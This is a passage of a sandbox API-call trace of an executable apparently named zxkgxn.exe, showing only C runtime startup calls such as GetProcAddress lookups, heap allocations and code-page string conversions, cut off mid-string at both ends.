lpProcName="SetThreadpoolTimer") returned 0x7717441c [0036.441] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0036.441] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0036.441] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0036.441] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0036.441] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0036.441] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0036.441] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0036.441] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0036.441] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0036.442] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0036.442] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0036.442] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0036.442] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0036.442] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0036.442] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0036.442] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0036.442] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0036.442] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0036.442] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0036.442] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0036.442] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0036.443] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0036.443] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0036.443] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3bc) returned 0x6cb058 [0036.443] GetCurrentThreadId () returned 0xa18 [0036.443] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x18) returned 0x6c1730 [0036.443] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x800) returned 0x6cb420 [0036.443] GetStartupInfoW (in: lpStartupInfo=0x18dc08 | out: lpStartupInfo=0x18dc08*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0xc76fe237, hStdError=0x771645f5)) [0036.443] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0036.443] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0036.443] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0036.443] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe\" " [0036.443] GetEnvironmentStringsW () returned 0x6cbc28* [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xaca) returned 0x6cc700 [0036.444] FreeEnvironmentStringsW (penv=0x6cbc28) returned 1 [0036.444] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zxkgxn.exe")) returned 0x30 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x6a) returned 0x6cbc28 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x98) returned 0x6cbca0 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3e) returned 0x6c0638 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x6c) returned 0x6cbd40 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x6e) returned 0x6cbdb8 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x78) returned 0x6be7c0 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x62) returned 0x6cbe30 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2e) returned 0x6c6e40 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x48) returned 0x6c2b28 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x28) returned 0x6c67e8 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1a) returned 0x6cace0 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x4a) returned 0x6cbea0 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x72) returned 0x6be840 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x30) returned 0x6c6e78 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2e) returned 0x6c6eb0 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1c) returned 0x6cad08 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0xd2) returned 0x6cbef8 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x7c) returned 0x6cbfd8 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x36) returned 0x6cc060 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3a) returned 0x6c0680 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x90) returned 0x6cc0a0 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x24) returned 0x6c6818 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x30) returned 0x6c6ee8 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x36) returned 0x6cc138 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x48) returned 0x6c2b78 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x52) returned 0x6cc178 [0036.444] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3c) returned 0x6c06c8 [0036.445] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x82) returned 0x6cc1d8 [0036.445] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2e) returned 0x6c6f20 [0036.445] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1e) returned 0x6cad30 [0036.445] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2c) returned 0x6c6f58 [0036.445] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x54) returned 0x6cc268 [0036.445] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x52) returned 0x6cc2c8 [0036.445] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2a) returned 0x6c6f90 [0036.445] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3c) returned 0x6c0710 [0036.445] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x54) returned 0x6cc328 [0036.445] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x24) returned 0x6c6848 [0036.445] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x30) returned 0x6c6fc8 [0036.445] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x8c) returned 0x6cc388 [0036.445] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x6cc700 | out: hHeap=0x620000) returned 1 [0036.445] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x80) returned 0x6cc420 [0036.445] GetLastError () returned 0x0 [0036.445] SetLastError (dwErrCode=0x0) [0036.445] GetLastError () returned 0x0 [0036.445] SetLastError (dwErrCode=0x0) [0036.446] GetLastError () returned 0x0 [0036.446] SetLastError (dwErrCode=0x0) [0036.446] GetACP () returned 0x4e4 [0036.446] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x220) returned 0x6cc4a8 [0036.446] GetLastError () returned 0x0 [0036.446] SetLastError (dwErrCode=0x0) [0036.446] IsValidCodePage (CodePage=0x4e4) returned 1 [0036.446] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18dbfc | out: lpCPInfo=0x18dbfc) returned 1 [0036.446] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18d6c4 | out: lpCPInfo=0x18d6c4) returned 1 [0036.446] GetLastError () returned 0x0 [0036.446] SetLastError (dwErrCode=0x0) [0036.446] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18dad8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0036.446] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18dad8, cbMultiByte=256, lpWideCharStr=0x18d448, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0036.446] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18d6d8 | out: lpCharType=0x18d6d8) returned 1 [0036.446] GetLastError () returned 0x0 [0036.446] SetLastError (dwErrCode=0x0) [0036.446] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18dad8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0036.446] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18dad8, cbMultiByte=256, lpWideCharStr=0x18d418, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0036.446] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0036.446] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18d208, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0036.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18d9d8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x87\xe5\x6f\xc7\x14\xdc\x18", lpUsedDefaultChar=0x0) returned 256 [0036.447] GetLastError () returned 0x0 [0036.447] SetLastError (dwErrCode=0x0) [0036.447] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18dad8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0036.447] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18dad8, cbMultiByte=256, lpWideCharStr=0x18d428, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0036.447] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0036.447] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18d218, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0036.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18d8d8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x